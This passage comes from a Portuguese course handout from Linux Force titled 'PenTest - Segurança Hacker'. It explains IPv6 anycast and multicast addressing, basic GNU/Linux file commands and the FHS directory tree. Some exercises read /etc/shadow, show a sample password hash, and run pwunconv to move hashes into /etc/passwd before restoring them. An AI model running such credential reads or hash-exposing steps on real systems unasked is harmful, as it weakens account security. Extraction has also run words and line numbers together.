• 2001:0000::/32: prefixo utilizado no mecanismo de transição TEREDO;

• 2001:db8::/32: prefixo utilizado para representar endereços IPv6 em textos edocumentações.

Outros endereços, utilizados no início do desenvolvimento do IPv6 tornaram-se ob-soletos e não devem mais ser utilizados:

• FEC0::/10: prefixo utilizado pelos endereços do tipo site local, desenvolvidospara serem utilizados dentro de uma rede específica sem a necessidade de umprefixo global, equivalente aos endereços privados do IPv4. Sua utilização foisubstituída pelos endereços ULA;

• ::wxyz: utilizado para representar o endereço IPv4-compatível. Sua função é amesma do endereço IPv4-mapeado, tornando-se obsoleto por desuso;

• 3FFE::/16: prefixo utilizado para representar os endereços da rede de teste6Bone. Criada para ajudar na implantação do IPv6, está rede foi desativadaem 6 de junho de 2006 (06/06/06).

1.5.1.2.2 Endereços Anycast Um endereço IPv6 anycast é utilizado para identifi-car um grupo de interfaces, porém, com a propriedade de que um pacote enviado aum endereço anycast é encaminhado apenas a interface do grupo mais próxima daorigem do pacote.

Os endereços anycast são atribuídos a partir da faixa de endereços unicast e nãohá diferenças sintáticas entre eles. Portanto, um endereço unicast atribuído a mais

PenTest - Segurança Hacker Página 26

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

de uma interface transforma-se em um endereço anycast, devendo-se neste caso,configurar explicitamente os nós para que saibam que lhes foi atribuído um endereçoanycast. Além disso, este endereço deve ser configurado nos roteadores como umaentrada separada (prefixo /128 – host route).

Este esquema de endereçamento pode ser utilizado para descobrir serviços na rede,como servidores DNS e proxies HTTP, garantindo a redundância desses serviços.Também pode-se utilizar para fazer balanceamento de carga em situações ondemúltiplos hosts ou roteadores provem o mesmo serviço, para localizar roteadoresque forneçam acesso a uma determinada sub-rede ou para localizar os Agentes deOrigem em redes com suporte a mobilidade IPv6.

Todos os roteadores devem ter suporte ao endereço anycast Subnet-Router. Estetipo de endereço é formado pelo prefixo da sub-rede e pelo IID preenchido comzeros (ex.: 2001:db8:cafe:dad0::/64).

Um pacote enviado para o endereço Subnet-Router será entregue para o roteadormais próximo da origem dentro da mesma sub-rede.

Também foi definido um endereço anycast para ser utilizado no suporte a mobili-dade IPv6. Este tipo de endereço é formado pelo prefixo da sub-rede seguido peloIID dfff:ffff:ffff:fffe (ex.: 2001:db8::dfff:ffff:ffff:fffe). Ele é utilizado pelo Nó Móvel,quando este precisar localizar um Agente Origem em sua Rede Original.

1.5.1.2.3 Endereços Multicast Endereços multicast são utilizados para identificargrupos de interfaces, sendo que cada interface pode pertencer a mais de um grupo.Os pacotes enviados para esses endereço são entregues a todos as interfaces quecompõe o grupo.

No IPv4, o suporte a multicast é opcional, já que foi introduzido apenas como umaextensão ao protocolo. Entretanto, no IPv6 é requerido que todos os nós suportemmulticast, visto que muitas funcionalidades da nova versão do protocolo IP utilizamesse tipo de endereço. Seu funcionamento é similar ao do broadcast, dado que umúnico pacote é enviado a vários hosts, diferenciando-se apenas pelo fato de queno broadcast o pacote é enviado a todos os hosts da rede, sem exceção, enquantoque no multicast apenas um grupo de hosts receberá esse pacote. Deste modo, apossibilidade de transportar apenas uma cópia dos dados a todos os elementos dogrupo, a partir de uma árvore de distribuição, pode reduzir a utilização de recursode uma rede, bem como otimizar a entrega de dados aos hosts receptores. Apli-cações como videoconferência, distribuição de vídeo sob demanda, atualizações desoftwares e jogos on-line, são exemplos de serviços que vêm ganhando notoriedadee podem utilizar as vantagens apresentadas pelo multicast. Os endereços multicast

PenTest - Segurança Hacker Página 27

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

não devem ser utilizados como endereço de origem de um pacote. Esses endereçosderivam do bloco FF00::/8, onde o prefixo FF, que identifica um endereço multicast,é precedido por quatro bits, que representam quatro flags, e um valor de quatro bitsque define o escopo do grupo multicast. Os 112 bits restantes são utilizados paraidentificar o grupo multicast.

As flags são definidas da seguinte forma:

O primeiro bit mais a esquerda é reservado e deve ser marcado com 0;

• Flag R: Se o valor for 1, indica que o endereço multicast “carrega” o endereçode um Ponto de Encontro (Rendezvous Point). Se o valor for 0, indica que nãohá um endereço de Ponto de Encontro embutido;

• Flag P: Se o valor for 1, indica que o endereço multicast é baseado em umprefixo de rede. Se o valor for 0, indica que o endereço não é baseado em umprefixo de rede;

• Flag T: Se o valor for 0, indica que o endereço multicast é permanente, ou seja,é atribuído pela IANA. Se o valor for 1, indica que o endereço multicast não épermanente, ou seja, é atribuído dinamicamente.

Os quatro bits que representam o escopo do endereço multicast, são utilizados paradelimitar a área de abrangência de um grupo multicast. Os valores atribuídos a essecampo são o seguinte:

• 1 – abrange apenas a interface local;

• 2 – abrange os nós de um enlace;

• 3 – abrange os nós de uma sub-rede

• 4 – abrange a menor área que pode ser configurada manualmente;

• 5 – abrange os nós de um site;

• 8 – abrange vários sites de uma mesma organização;

• E – abrange toda a Internet;

• 0, F – reservados;

• 6, 7, 9, A, B, C, D – não estão alocados.

PenTest - Segurança Hacker Página 28

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

Deste modo, um roteador ligado ao backbone da Internet não encaminhará pacotescom escopo menor do que 14 (E em hexa), por exemplo. No IPv4, o escopo de umgrupo multicast é especificado através do campo TTL do cabeçalho. A lista abaixoapresenta alguns endereços multicast permanentes:

O endereço multicast solicited-node identifica um grupo multicast que todos os nóspassam a fazer parte assim que um endereço unicast ou anycast lhes é atribuído. Umendereço solicited-node é formado agregando-se ao prefixo FF02::1:FF00:0000/104os 24 bits mais a direita do identificador da interface, e para cada endereço unicastou anycast do nó, existe um endereço multicast solicited- node correspondente.

Em redes IPv6, o endereço solicited-node é utilizado pelo protocolo de Descoberta deVizinhança para resolver o endereço MAC de uma interface. Para isso, envia-se umamensagem Neighbor Solicitation para o endereço solicited-node. Com isso, apenasas interfaces registradas neste grupo examinam o pacote. Em uma rede IPv4, parase determinar o endereço MAC de uma interface, envia- se uma mensagem ARPRequest para o endereço broadcast da camada de enlace, de modo que todas asinterfaces do enlace examinam a mensagem.

Com o intuito de reduzir o número de protocolos necessários para a alocação deendereços multicast, foi definido um formato estendido de endereço multicast, que

PenTest - Segurança Hacker Página 29

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

permite a alocação de endereços baseados em prefixos unicast e de endereços SSM(source-specific multicast).

Em endereços baseados no prefixo da rede, a flag P é marcada com o valor 1. Nestecaso, o uso do campo escopo não altera, porém, o escopo deste endereço multicastnão deve exceder o escopo do prefixo unicast “carregado” junto a ele. Os 8 bits apóso campo escopo, são reservados e devem ser marcados com zeros. Na sequência,há 8 bits que especificam o tamanho do prefixo da rede indicado nos 64 bits que osseguem. Caso o prefixo da rede seja menor que 64 bits, os bits não utilizados nocampo tamanho do prefixo, devem ser marcados com zeros. O campo identificadordo grupo utiliza os 32 bits restantes. Note que, em um endereço onde a flag P émarcada com o valor 1, a flag T também deve ser marcada com o valor 1, pois estenão representa um endereço definido pela IANA.

No modelo tradicional de multicast, chamado de any-source multicast (ASN), o par-ticipante de um grupo multicast não controla de que fonte deseja receber os dados.Com o SSM, uma interface pode registrar-se em um grupo multicast e especificaras fontes de dados. O SSM pode ser implementado utilizando o protocolo MLDv2(Multicast Listener Discovery version 2).

Para um endereço SSM, as flags P e T são marcadas com o valor 1. Os campostamanho do prefixo e o prefixo da rede são marcados com zeros, chegando ao prefixoFF3X::/32, onde X é o valor do escopo. O campo Endereço de Origem do cabeçalhoIPv6 identifica o dono do endereço multicast.

Todo endereço SSM tem o formato FF3X::/96.

Os métodos de gerenciamento dos grupos multicast serão abordados no próximomódulo deste curso.

Também é importante destacar algumas características relacionadas ao endereçoapresentadas pela nova arquitetura do protocolo IPv6. Assim como no IPv4, os en-dereços IPv6 são atribuídos às interfaces físicas, e não aos nós, de modo que cadainterface precisa de pelo menos um endereço unicast. No entanto, é possível atribuira uma única interface múltiplos endereços IPv6, independentemente do tipo (unicast,multicast ou anycast) ou sub-tipo (loopback, link local, 6to4, etc.). Deste modo um nópode ser identificado através de qualquer endereço das suas interfaces, e com isso,torna-se necessário escolher entre seus múltiplos endereços qual utilizará como en-dereço de origem e destino ao estabelecer uma conexão.

Para resolver esta questão, foram definidos dois algoritmos, um para selecionar oendereço de origem e outro para o de destino. Esses algoritmos, que devem serimplementados por todos os nós IPv6, especificam o comportamento padrão dessenós, porém não substituem as escolhas feitas por aplicativos ou protocolos da ca-

PenTest - Segurança Hacker Página 30

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

mada superior.

Entre as regras mais importantes destacam-se:

• Pares de endereços do mesmo escopo ou tipo têm preferência;

• O menor escopo para endereço de destino tem preferência (utiliza-se o menorescopo possível);

• Endereços cujo tempo de vida não expirou tem preferência sobre endereçoscom tempo de vida expirado;

• Endereços de técnicas de transição (ISATAP, 6to4, etc.) não podem ser utiliza-dos se um endereço IPv6 nativo estiver disponível;

• Se todos os critérios forem similares, pares de endereços com o maior prefixocomum terão preferência;

• Para endereços de origem, endereços globais terão preferência sobre endere-ços temporários;

• Em um Nó Móvel, o Endereço de Origem tem preferência sobre um EndereçoRemoto.

Estas regras devem ser utilizadas quando não houver nenhuma outra especificação.As especificações também permitem a configuração de políticas que possam subs-tituir esses padrões de preferências com combinações entre endereços de origem edestino.

PenTest - Segurança Hacker Página 31

2 Aprendendo GNU/Linux

2.1 Comandos e Shell

Comandos são instruções passadas ao computador para executar uma determinadatarefa. No mundo *NIX (GNU/Linux,Unix), o conceito de comandos é diferente dopadrão MS-DOS. Um comando é qualquer arquivo executável, que pode ser ou nãocriado pelo usuário.

Uma das tantas vantagens do GNU/Linux é a variedade de comandos que ele ofe-rece, afinal, para quem conhece comandos, a administração do sistema acaba setornando um processo mais rápido.

O “Shell” é o responsável pela interação entre o usuário e o sistema operacional,interpretando os comandos.

É no “Shell” que os comandos são executados.

2.1.1 O comando ls

O comando “ls” possui muitos parâmetros, veremos aqui as opções mais utilizadas. Aprimeira delas é o “-l” que lista os arquivos ou diretórios de uma forma bem detalhada(quem criou, data de criação, tamanho, dono e grupo ao qual cada um pertence):

1 # ls -l /2 drwxr -xr-x 4 root root 1024 2007 -01 -15 23:17 boot

Veja que a saída desse comando é bem detalhada. Falando sobre os campos, parao primeiro caractere temos algumas opções:

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

1 d => indica que se trata de um diretório2 l => indica que se trata de um "link" (como se fosse um atalho -

também vamos falar sobre ele depois)3 - => hífen , indica que se trata de um arquivo regular4 c => indica que o arquivo é um dispositivo de caractere (sem buffer)5 b => indica que o arquivo é um dispositivo de bloco (com buffer)6 u => "sinônimo para o tipo c" indica que o arquivo é um dispositivo

de caractere (sem buffer)7 s => indica que o arquivo é um socket8 p => indica que o arquivo é um fifo , named pipe

FIFO - Sigla para First In, First Out, que em inglês significa primeiro a entrar, pri-meiro a sair. São amplamente utilizados para implementar filas de espera. Os ele-mentos vão sendo colocados no final da fila e retirados por ordem de chegada. Pipes(|) são um exemplo de implementação de FIFO.

Buffer - É uma região de memória temporária, usada para escrita e leitura de dados.Normalmente, os buffers são utilizados quando existe uma diferença entre a taxa emque os dados são recebidos e a taxa em que eles podem ser processados.

Socket - É um meio de comunicação por software entre um computador e outro. Éuma combinação de um endereço IP, um protocolo e um número de porta do proto-colo.

O campo “rwxr-xr-x” lista as permissões, enquanto os campos “root” indicam quemé o usuário e grupo dono desse diretório que, no nosso caso, é o administrador dosistema, o usuário “root”. O número antes do dono indica o número de “hard links”,um assunto abordado apenas em cursos mais avançados.

O campo “1024” indica o tamanho do arquivo, e o campo “2007-01-15 23:17” informaa data e hora em que o diretório foi criado. Finalmente, no último campo temos onome do arquivo ou diretório listado, que, no nosso exemplo, é o “boot”.

Com relação aos diretórios, é importante ressaltar que o tamanho mostrado nãocorresponde ao espaço ocupado pelo diretório e seus arquivos e subdiretórios. Esseespaço é aquele ocupado pela entrada no sistema de arquivos que corresponde aodiretório.

A opção “-a” lista todos arquivos, inclusive os ocultos:

12 # ls -a /root3 .. aptitude.bashrc.profile .rnd.ssh.vmware

PenTest - Segurança Hacker Página 33

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

4 .. .bash_history .kde .qt root_161206 .viminfo .Xauthority

Veja que, da saída do comando anterior, alguns arquivos são iniciados por “.” (ponto).Esses arquivos são ocultos. No Linux, arquivos e diretórios ocultos são iniciadospor um “.” (ponto). Listar arquivos de forma recursiva, ou seja, listar também ossubdiretórios que estão dentro do diretório ”/”:

1 # ls -R /

Como listar os arquivos que terminam com a palavra “.conf” dentro do diretório“/etc”?

1 # ls /etc/*. conf

Como buscar no diretório raiz ”/ “ todos os diretórios que terminem com a letra “n”?

1 # ls -ld /*n

2.1.2 Criação, movimentação, cópia e remoção de arquivos ediretórios

2.1.2.1 Criar arquivo

Para criar um arquivo, podemos simplesmente abrir um editor de texto e salvá-lo.Mas existem outras formas. Uma das formas mais simples é usando o comando“touch”:

1 # cd ~2 # touch arq13 # touch arq2 arq3 arq4 arq5

PenTest - Segurança Hacker Página 34

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

2.1.2.2 Curingas

O significado da palavra curinga no dicionário é o seguinte: carta de baralho, queem certos jogos, muda de valor e colocação na sequência. No sistema GNU/Linux ébem parecida a utilização desse recurso. Os curingas são utilizados para especificarum ou mais arquivos ou diretórios.

Eles podem substituir uma palavra completa ou somente uma letra, seja para listar,copiar, apagar, etc. São usados cinco tipos de curingas no GNU/Linux:

1 * - Utilizado para um nome completo ou restante de um arquivo/diretório;

2 ? - Esse curinga pode substituir uma ou mais letras em determinadaposição;

3 ! - exclui da operação4 [padrão] - É utilizado para referência a uma faixa de caracteres de

um arquivo/diretório.5 [a-z][0-9] - Usado para trabalhar com caracteres de a até z seguidos

de um caractere de 0 até 9.6 [a,z][1,0] - Usado para trabalhar com os caracteres a e z seguidos

de um caractere 1 ou 0 naquela posição.7 [a-z,1,0] - Faz referência do intervalo de caracteres de a até z ou

1 ou 0 naquela posição.8 [^abc] - Faz referência a qualquer caracter exceto a, b e c.9 {padrão} - Expande e gera strings para pesquisa de padrões de um

arquivo/diretório.10 X{ab ,01} - Faz referência a sequência de caracteres Xab ou X01.11 X{a-e,10} - Faz referência a sequência de caracteres Xa Xb Xc Xd Xe

X10

DICA: - A barra invertida serve para escapar um caracter especial, ela é co-nhecida também como “backslash”.

A diferença do método de expansão dos demais, é que a existência do arquivo oudiretório é opcional para resultado final. Isto é útil para a criação de diretórios.

Os 5 tipos de curingas mais utilizados ( *, ?, [ ], , ! ) podem ser usados juntos.Vejamos alguns exemplos:

Vamos criar 5 arquivos no diretório “/home/aluno” utilizando o método de expansão.

PenTest - Segurança Hacker Página 35

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

1 # cd ~2 # touch arq{1,2,3}.txt arq{4,5}.new

Podemos listá-los assim:

1 # ls2 arq1 arq1.txt arq2 arq2.txt arq3 arq3.txt arq4 arq4.new arq5 arq5.

new

Vamos listar todos os arquivos do diretório “/home/usuário”. Podemos usar o curinga“*” para visualizar todos os arquivos do diretório:

1 # ls *2 arq1 arq1.txt arq2 arq2.txt arq3 arq3.txt arq4 arq4.new arq5 arq5.

new

Para listarmos todos os arquivos do diretório “/home/usuário” que tenham “new” nonome:

1 # ls *new*2 arq4.new arq5.new

Listar todos os arquivos que começam com qualquer nome e terminam com “.txt”:

1 # ls *.txt2 arq1.txt arq2.txt arq3.txt

Listar todos os arquivos que começam com o nome “arq”, tenham qualquer caractereno lugar do curinga, e terminem com “.txt”:

1 # ls arq?.txt2 arq1.txt arq2.txt arq3.txt

PenTest - Segurança Hacker Página 36

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

Para listar todos os arquivos que começam com o nome “arq”, tenham qualquer ca-ractere entre o número “1-3” no lugar da 4ª letra e terminem com “.txt”. Neste caso,se obtém uma filtragem mais exata, pois o curinga especifica qualquer caractere na-quela posição e ”[ ]” especifica um intervalo de números ou letras que será usado:

1 # ls arq[1-3].txt2 arq1.txt arq2.txt arq3.txt

Para listar todos .txt exceto o arq2.txt:

1 # ls arq [!2]. txt2 arq1.txt arq3.tx

Para listar os arquivos “arq4.new” e “arq5.new” podemos usar os seguintes méto-dos:

1 # ls *.new2 # ls *new*3 # ls arq?.new4 # ls arq [4 ,5].*5 # ls arq[4,5].new

Existem muitas outras sintaxes possíveis para obter o mesmo resultado. A mais indi-cada será sempre aquela que atender à necessidade com o menor esforço possível.A criatividade nesse momento conta muito. No exemplo anterior, a última forma re-sulta na busca mais específica. O que pretendemos é mostrar como visualizar maisde um arquivo de uma só vez. O uso de curingas é muito útil e pode ser utilizado emtodas as ações do sistema operacional referentes aos arquivos e diretórios: copiar ,apagar, mover e renomear.

2.1.2.3 Criando diretórios

O comando “mkdir” é utilizado para criar um diretório no sistema. Um diretório éuma pasta onde você guarda seus arquivos. Exemplo:

Criar o diretório “aula”:

PenTest - Segurança Hacker Página 37

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

1 # mkdir aula

Criar o diretório “turma” e o subdiretório “alunos”:

1 # mkdir -p turma/alunos

A opção “-p” permite a criação de diretórios de forma recursiva. Para que um sub-diretório exista, o seu diretório diretamente superior tem que existir. Portanto a cri-ação de uma estrutura como “/home/notas/2010/abril/semana3” exigiria a execuçãode quatro comandos “mkdir”.

Algo como:

1 # mkdir notas2 # mkdir notas/abril3 # mkdir notas/abril/bimestre4 # mkdir notas/abril/bimestre/prova

A opção “-p” permite que toda essa estrutura seja criada em uma única linha. As-sim:

1 # mkdir -p notas/maio/bimestre/prova

2.1.2.4 Removendo arquivos/diretórios

O comando “rm” é utilizado para apagar arquivos, diretórios e subdiretórios estejameles vazios ou não.

Exemplos:

Remover os arquivos com extensão “txt”:

1 # cd ~2 # ls

PenTest - Segurança Hacker Página 38

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

3 # rm arq?.txt4 # ls

Remover o arquivo “arq4.new” pedindo confirmação:

1 # rm -i arq4.new2 rm: remover arquivo comum vazio ‘arq.new4 ’?

A opção “-i” força a confirmação para remover o arquivo “arq4.new”.

Remover o diretório “notas”:

1 # rm -r notas

A opção “-r ” ou “-R” indica recursividade, ou seja, a remoção deverá ser do diretórionotas e de todo o seu conteúdo.

Observação: Muita atenção ao usar o comando “rm”! Uma vez que os arquivose diretórios removidos não podem mais ser recuperados!

O comando “rmdir” é utilizado para remover diretórios vazios.

Exemplos:

Remover o diretório “aula”:

1 # rmdir aula

2.1.2.5 Copiar arquivos/diretórios

O comando “cp” serve para fazer cópias de arquivos e diretórios. Perceba que paralidar com diretórios a opção “-r” ou “-R” tem que ser usada:

PenTest - Segurança Hacker Página 39

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

1 # cp arquivo -origem arquivo -destino23 # cp arquivo -origem caminho/diretório -destino/45 # cp -R diretório -origem nome -destino67 # cp -R diretório -origem caminho/diretório -destino/

Uma opção do comando “cp” muito útil em nosso dia-a-dia é a opção “-p”, que fazcom que a cópia mantenha os “meta-dados” dos arquivos, ou seja, não modifica adata e hora de criação, seus donos e nem suas permissões. Utilizar como root:

1 # su aluno2 $ touch teste3 $ ls -l4 $ exit5 # cp -p teste teste26 # cp teste teste37 # ls -l teste2 teste3

2.1.2.6 Mover ou renomear arquivos/diretórios

O comando “mv” serve tanto para renomear um arquivo quanto para movê-lo:

1 # mv arquivo caminho/diretório -destino/2 # mv arquivo novo -nome3 # mv diretório novo -nome4 # mv diretório caminho/diretório -destino/

A movimentação de um arquivo é uma ação de cópia seguida de uma remoção.

Movendo arquivo:

1 # mv teste4 /tmp

Renomeando arquivo:

PenTest - Segurança Hacker Página 40

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

1 # mv teste teste4

Renomeando diretório:

1 # mv turma matematica

Movendo diretório:

1 # mv matematica /home/notas /2010/ abril/semana3

2.2 FHS, Hierarquia dos Diretórios

Quem já teve algum contato com o GNU/Linux, mesmo que superficial, deve terpercebido a presença de vários diretórios (pastas) no sistema. Entretanto, eles estãoorganizados seguindo o padrão “POSIX”, com o qual você pode não estar muitofamiliarizado. Neste capítulo, vamos conhecer a organização, e explorar a estruturade diretórios de um sistema GNU/Linux.

Desde que o GNU/Linux foi criado, muito se tem feito para seguir um padrão emrelação à estrutura de diretórios. O primeiro esforço para padronização de sistemasde arquivos para o GNU/Linux foi o “FSSTND - Filesystem Standard”, lançado noano de 1994.

Cada diretório do sistema tem seus respectivos arquivos que são armazenados con-forme regras definidas pela “FHS - Filesystem Hierarchy Standard” ou “Hierar-quia Padrão do Sistema de Arquivos”, que define que tipo de arquivo deve serguardado em cada diretório. Isso é muito importante, pois o padrão ajuda a mantercompatibilidade entre as distribuições existentes no mercado, permitindo que qual-quer software escrito para o GNU/Linux seja executado em qualquer distribuição de-senvolvida de acordo com os padrões “FHS”.

Atualmente, o ”FHS” está na sua versão 2.3, e é mantido pelo “Free Standard Group",uma organização sem fins lucrativos formada por grandes empresas como HP, IBM,RedHat e Dell.

PenTest - Segurança Hacker Página 41

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

2.3 Estrutura de Diretórios GNU/Linux

A estrutura de diretórios também é conhecida como “Árvore de Diretórios” porquetem a forma de uma árvore. Mas, antes de estudarmos a estrutura de diretórios,temos que entender o que são diretórios.

Um diretório é o local onde os arquivos são guardados no sistema. O objetivo éorganizar os diferentes arquivos e programas. Pense nos diretórios como sendo asgavetas de um armário. Cada gaveta guarda, normalmente, um tipo diferente deroupa, enquanto cada diretório guarda um certo tipo específico de arquivo.

O arquivo pode ser um texto, uma imagem, planilha, etc. Os arquivos devem seridentificados por nomes para que sejam localizados por quem deseja utilizá-los.

Um detalhe importante a ser observado é que o GNU/Linux segue o padrão “PO-SIX” que é “case sensitive”, isto é, ele diferencia letras maiúsculas e minúsculas nosarquivos e diretórios.

Sendo assim, um arquivo chamado “Arquivo” é diferente de um outro chamado“ARQUIVO” e diferente de um terceiro, chamado “arquivo”. Inteligente isso, nãoé?

A árvore de diretórios do GNU/Linux tem a seguinte estrutura:

Da estrutura mostrada acima, o “FHS” determina que um sistema GNU/Linux deveconter obrigatoriamente 14 diretórios, especificados a seguir:

2.3.1 Diretório /

1 # ls --color /

A opção –color do comando ls serve para deixar colorido a listagem, ex: azul -> dire-tório branco -> arquivo regular verde -> arquivo executável azul claro -> link simbólico

PenTest - Segurança Hacker Página 42

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

vermelho -> arquivo compactado rosa -> imagem

Este é o principal diretório do GNU/Linux, e é representado por uma “/” (barra). Éno diretório raiz que ficam todos os demais diretórios do sistema. Estes diretórios,que vamos conhecer agora, são chamados de “subdiretórios” pois estão dentro dodiretório “/”.

2.3.2 DIRETÓRIO /bin

1 # ls /bin

O diretório “/bin” guarda os comandos essenciais para o funcionamento do sis-tema.

Esse é um diretório público, sendo assim, os comandos que estão nele podem serutilizados por qualquer usuário do sistema. Entre os comandos, estão:

• /bin/ls;

• /bin/cp;

• /bin/mkdir;

• /bin/cat;

Qualquer usuário pode executar estes comandos:

1 # /bin/ls /boot/grub2 $ /bin/ls /boot/grub

2.3.3 Diretório /boot

1 # ls /boot

PenTest - Segurança Hacker Página 43

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

No diretório “/boot” estão os arquivos estáticos necessários à inicialização do sis-tema, e o gerenciador de “boot”. O gerenciador de “boot” é um programa que permiteescolher e carregar o sistema operacional que será iniciado.

2.3.4 Diretório /dev

1 # ls /dev

No diretório “/dev” ficam todos os arquivos de dispositivos. O GNU/Linux faz a co-municação com os periféricos por meio de “links” especiais que ficam armazenadosnesse diretório, facilitando assim o acesso aos mesmos.

Para verificar que seu mouse é reconhecido como um arquivo, tente olhar o conteúdodo arquivo /dev/input/mice:

1 # cat /dev/input/mice

Repare que os dados são binários e não é possível ler o arquivo com o comando cat.Caso seu terminal fique com caracteres estranhos utilize o comando “reset” pararesetar o shell:

1 # reset

Para visualizar o conteúdo do arquivo /dev/input/mice execute o comando “od” que éutilizado para visualizar o conteúdo de um arquivo nos formatos: hexadecimal, octal,ASCII e nome dos caracteres. Este comando pode ser útil para um programador quedeseja criar um programa conforme o movimento do mouse.

1 # od /dev/input/mice

Caso seu mouse não seja usb, execute:

1 # od /dev/psaux

PenTest - Segurança Hacker Página 44

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

Mova o mouse e observe sua saída.

Observe o conteúdo do seu HD:

1 # hexdump /dev/sda

O comando hexdump é utilizado para visualizar o conteúdo de um arquivo nos for-matos: hexadecimal, octal, decimal, ASCII. Este comando pode ser útil para umprogramador que deseja criar um programa conforme o movimento do mouse.

2.3.5 Diretório /etc

1 # ls /etc

No diretório “/etc” estão os arquivos de configuração do sistema. Nesse diretóriovamos encontrar vários arquivos de configuração, tais como: “scripts” de inicializaçãodo sistema, tabela do sistema de arquivos, configuração padrão para “logins” dosusuários, etc.

1 # cat /etc/passwd

Vamos pegar uma linha de exemplo:

1 aluno:x:1000:1000: aluno:/home/aluno:/bin/bash

Vamos dividir esta linha em “campos”, onde cada campo é separado por : (doispontos), então:

PenTest - Segurança Hacker Página 45

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

Vamos conhecer o arquivo /etc/shadow:

1 # more /etc/shadow

O comando more assim como o cat serve para ver o conteúdo de um arquivo que é,geralmente, texto. A diferença entre o “more” e o “cat” é que o “more” faz uma pausaa cada tela cheia exibindo uma mensagem --More–", dando uma oportunidade aousuário ler a tela.

Aperte enter para ir para a próxima linha ou espaço para ir para a próxima página epara sair digite q.

Uma alternativa ao uso do comando more seria o uso do comando less, que imple-menta as mesmas funcionalidades que more e mais algumas, como a possibilidadede rolar a tela para cima e para o lado quando o texto ocupa mais de oitenta colunas.A utilização dos comandos less e more se faz de maneira semelhante.

1 # less /etc/shadow

Vamos pegar uma linha de exemplo:

1 aluno:$1$Tcnt$Eisi0J9Wh3fCEsz1 :11983:0:99999:7:::

Este arquivo possui as senhas criptografadas dos usuários do sistema. Existe umaentada no arquivo para cada usuário do sistema com os seguintes campos:

PenTest - Segurança Hacker Página 46

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

Apenas o usuário root (administrador do sistema) tem permissão para acessar oarquivo /etc/shadow.

O comando “pwconv” é usado para criar o arquivo shadow a partir do arquivo /etc/-passwd , enquanto o comando “pwunconv” executa a operação inversa. Execute:

1 # pwunconv

Verifique que não existe mais o arquivo /etc/shadow:

1 # cat /etc/shadow

Verifique que as senhas criptografadas estão agora no arquivo /etc/passwd atravésdo comando getent:

1 # getent passwd

O comando getent obtém dados da base base administrativa do sistema, seguindoa ordem de busca que está no arquivo /etc/nsswitch.conf:

PenTest - Segurança Hacker Página 47

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

1 # cat /etc/nsswitch.conf2 # /etc/nsswitch.conf3 #4 # Example configuration of GNU Name Service Switch functionality.5 # If you have the ‘glibc -doc -reference ’ and ‘info ’ packages

installed , try:6 # ‘info libc "Name Service Switch"’ for information about this file.78 passwd: compat9 group: compat

10 shadow: compat1112 hosts: files mdns4_minimal [NOTFOUND=return] dns mdns413 networks: files1415 protocols: db files16 services: db files17 ethers: db files18 rpc: db files1920 netgroup: nis

Observe a linha do passwd, o “compat” significa compatibilidade com o sistema, ouseja, o arquivo /etc/passwd, mas os usuários e as senhas poderiam estar armazena-dos em uma outra localidade, por exemplo em um servidor LDAP e se você apenasexecutasse um “cat /etc/passwd”, não veria todos os usuários do sistema, entãosempre utilize o “getent passwd” porque não importa onde os dados estão arma-zenados ele sempre seguirá a ordem de busca do arquivo /etc/nsswitch.conf.

Para voltar as senhas criptografadas, execute:

1 # pwconv

Agora as senhas estão protegidas novamente!! Antigamente estes comandos eramutilizados para sistemas que não vinham com as senhas protegidas no /etc/shadowpor padrão, hoje em dia praticamente todas as distribuições trazem o arquivo comopadrão, então utilizamos o comando para execução de scripts para facilitar a capturade senhas, como por exemplo a migração de um servidor de e-mail, onde queremosmanter a senha antiga do usuário.

PenTest - Segurança Hacker Página 48

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

2.3.6 Diretório /lib

1 # ls /lib

No diretório “/lib” estão as bibliotecas compartilhadas e módulos do kernel. As bibli-otecas são funções que podem ser utilizadas por vários programas.

Cada kernel têm seus próprios módulos, que ficam em: /lib/modules/<versão do ker-nel>/kernel Separados por tipos em subdiretórios.

Para saber sua versão do kernel execute:

1 # uname -r

Para visualizar os tipos de módulos:

1 # ls /lib/modules/$(uname -r)/kernel

2.3.7 Diretório /media

1 # ls /media

Ponto de montagem para dispositivos removíveis, tais como:

• hd

• cd

• dvd

• disquete

• pendrive

• câmera digital

PenTest - Segurança Hacker Página 49

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

2.3.8 Diretório /mnt

1 # ls /mnt

Este diretório é utilizado para montagem temporária de sistemas de arquivos, taiscomo compartilhamentos de arquivos entre Windows e GNU/Linux, GNU/Linux eGNU/Linux, etc.

2.3.9 Diretório /opt

1 # ls /opt

Normalmente, é utilizado por programas proprietários ou que não fazem parte ofici-almente da distribuição.

2.3.10 Diretório /sbin

1 # ls /sbin

O diretório “/sbin” guarda os comandos utilizados para inicializar, reparar, restaurare/ou recuperar o sistema. Isso quer dizer que esse diretório também contém coman-dos essenciais, mas os mesmos são utilizados apenas pelo usuário administrador“root”. Entre os comandos estão:

• halt

• ifconfig

• init

• iptables

PenTest - Segurança Hacker Página 50

Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux

Os usuários comuns não podem executar comandos do /sbin que alterem o sistema,apenas alguns para visualização.

EX:

Visualizar IP configurado na placa eth0:

• # /sbin/ifconfig eth0

Alterar IP da placa de rede:

• # /sbin/ifconfig eth0 192.168.200.100

